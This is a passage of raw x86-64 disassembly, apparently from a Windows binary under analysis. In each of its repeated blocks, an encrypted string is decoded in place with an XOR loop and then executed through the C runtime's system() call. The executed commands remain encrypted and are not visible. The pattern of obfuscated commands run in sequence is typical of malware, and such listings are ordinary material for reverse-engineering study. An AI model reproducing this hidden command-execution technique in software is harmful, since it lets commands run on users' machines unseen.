cmp r8d, 0x7d
jl 0x14005e3b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8509]
lea rcx, [rbp + 0x60]
mov byte [rbp + 0x60], al
call fcn.1400747a0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x14005e564
mov r8d, r14d
cmp r15d, 2
jl 0x14005e529
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x14005e430
cmp r8d, 0xa1
jge 0x14005e564
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x14005e530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7196]
lea rcx, [rbp + 0x61]
mov byte [rbp + 0x61], al
call fcn.140074820
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x14005e6e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005e6a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005e5b0
cmp r8d, 0x97
jge 0x14005e6e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x14005e6b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7a8b]
lea rcx, [rbp + 0x62]
mov byte [rbp + 0x62], al
call fcn.1400748b0
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x14005e864
mov r8d, r14d
cmp r15d, 2
jl 0x14005e829
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005e730
cmp r8d, 0x9c
jge 0x14005e864
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x14005e830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8e00]
lea rcx, [rbp + 0x63]
mov byte [rbp + 0x63], al
call fcn.140074940
mov r10, rax
cmp byte [rax + 0xad], 0
je 0x14005e9e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005e9a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x14005e8b0
cmp r8d, 0xae
jge 0x14005e9e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xae
jl 0x14005e9b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x722d]
lea rcx, [rbp + 0x64]
mov byte [rbp + 0x64], al
call fcn.1400749d0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x14005eb64
mov r8d, r14d
cmp r15d, 2
jl 0x14005eb29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005ea30
cmp r8d, 0x97
jge 0x14005eb64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x14005eb30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7ed1]
lea rcx, [rbp + 0x65]
mov byte [rbp + 0x65], al
call fcn.140074a60
mov r10, rax
cmp byte [rax + 0x9d], 0
je 0x14005ece4
mov r8d, r14d
cmp r15d, 2
jl 0x14005eca9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005ebb0
cmp r8d, 0x9e
jge 0x14005ece4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9e
jl 0x14005ecb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6bc3]
lea rcx, [rbp + 0x66]
mov byte [rbp + 0x66], al
call fcn.140074b00
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x14005ee64
mov r8d, r14d
cmp r15d, 2
jl 0x14005ee29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005ed30
cmp r8d, 0x93
jge 0x14005ee64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x14005ee30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7b27]
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x67], al
call fcn.140074b90
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x14005efe4
mov r8d, r14d
cmp r15d, 2
jl 0x14005efa9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005eeb0
cmp r8d, 0x9c
jge 0x14005efe4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x14005efb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7d97]
lea rcx, [rbp + 0x68]
mov byte [rbp + 0x68], al
call fcn.140074c20
mov r10, rax
cmp byte [rax + 0x9c], 0
je 0x14005f164
mov r8d, r14d
cmp r15d, 2
jl 0x14005f129
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005f030
cmp r8d, 0x9d
jge 0x14005f164
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9d
jl 0x14005f130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8289]
lea rcx, [rbp + 0x69]
mov byte [rbp + 0x69], al
call fcn.140074cc0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x14005f2e4
cmp r15d, 2
jl 0x14005f2a0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x14005f1b0
jmp 0x14005f2e4
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x14005f2b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8329]
lea rcx, [rbp + 0x6a]
mov byte [rbp + 0x6a], al
call fcn.140074d30
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x14005f464
cmp r15d, 2
jl 0x14005f420
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x14005f330
jmp 0x14005f464
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x14005f430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x85aa]
lea rcx, [rbp + 0x6b]
mov byte [rbp + 0x6b], al
call fcn.140074da0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x14005f5e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005f5a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x14005f4b0
cmp r8d, 0xa1
jge 0x14005f5e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x14005f5b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x864b]
lea rcx, [rbp + 0x6c]
mov byte [rbp + 0x6c], al
call fcn.140074e20
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x14005f764
mov r8d, r14d
cmp r15d, 2
jl 0x14005f729
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
